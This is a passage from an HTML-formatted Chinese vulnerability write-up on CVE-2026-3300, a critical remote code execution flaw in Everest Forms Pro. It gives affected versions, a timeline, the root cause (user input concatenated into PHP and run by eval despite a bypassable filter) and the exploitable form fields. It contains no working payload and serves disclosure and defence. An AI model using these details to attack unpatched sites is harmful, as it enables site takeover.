initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞名称：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2026-3300&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞类型：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;远程代码执行（Remote Code Execution / RCE）&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;影响版本：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Everest Forms Pro ≤ 1.9.12&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;免费版不受影响&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;修复版本：1.9.13 及以上版本&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞评分：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVSS 9.8 / 10（Critical）&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;时间线：漏洞其实早已修复，但危险现在才真正开始&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2月27日：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;安全防护规则首先向高级防护用户推送。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3月18日：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;厂商发布修复版本 1.9.13。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3月30日：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;研究人员公开披露漏洞。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4月13日：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;开始出现真实攻击活动。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;最近两天：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;技术细节与攻击方式公开后，大量攻击迅速增加。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞到底怎么产生的？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;问题来自插件中的：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Complex Calculation（复杂计算）功能&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;插件内部有一个用于计算复杂公式的处理逻辑。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;研究人员发现：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;插件会将用户提交的数据拼接进 PHP 代码字符串中。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;随后直接执行。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;核心问题在于：&lt;/span&gt;&lt;/p&gt;&lt;blockquote style=&quot;margin: 0px 0px 1rem;padding: 0px 1em;color: rgb(89, 99, 110);border-left: 0.25em solid rgb(209, 217, 224);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;p style=&quot;font-size: 1em;margin: 0px 1em;padding: 0px;font-weight: normal;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;用户输入 → 拼接进 PHP → eval 执行&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;虽然开发者试图使用过滤函数处理输入，但过滤逻辑无法阻止攻击者构造特殊字符逃逸代码执行环境。最终导致攻击者能够插入任意 PHP 代码。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;哪些字段可以被利用？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;只要网站启用了复杂计算功能。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者就可能通过这些字段触发漏洞：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;文本输入框&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Email 输入框&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;URL 输入框&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Select 下拉框&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Radio 单选框&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p 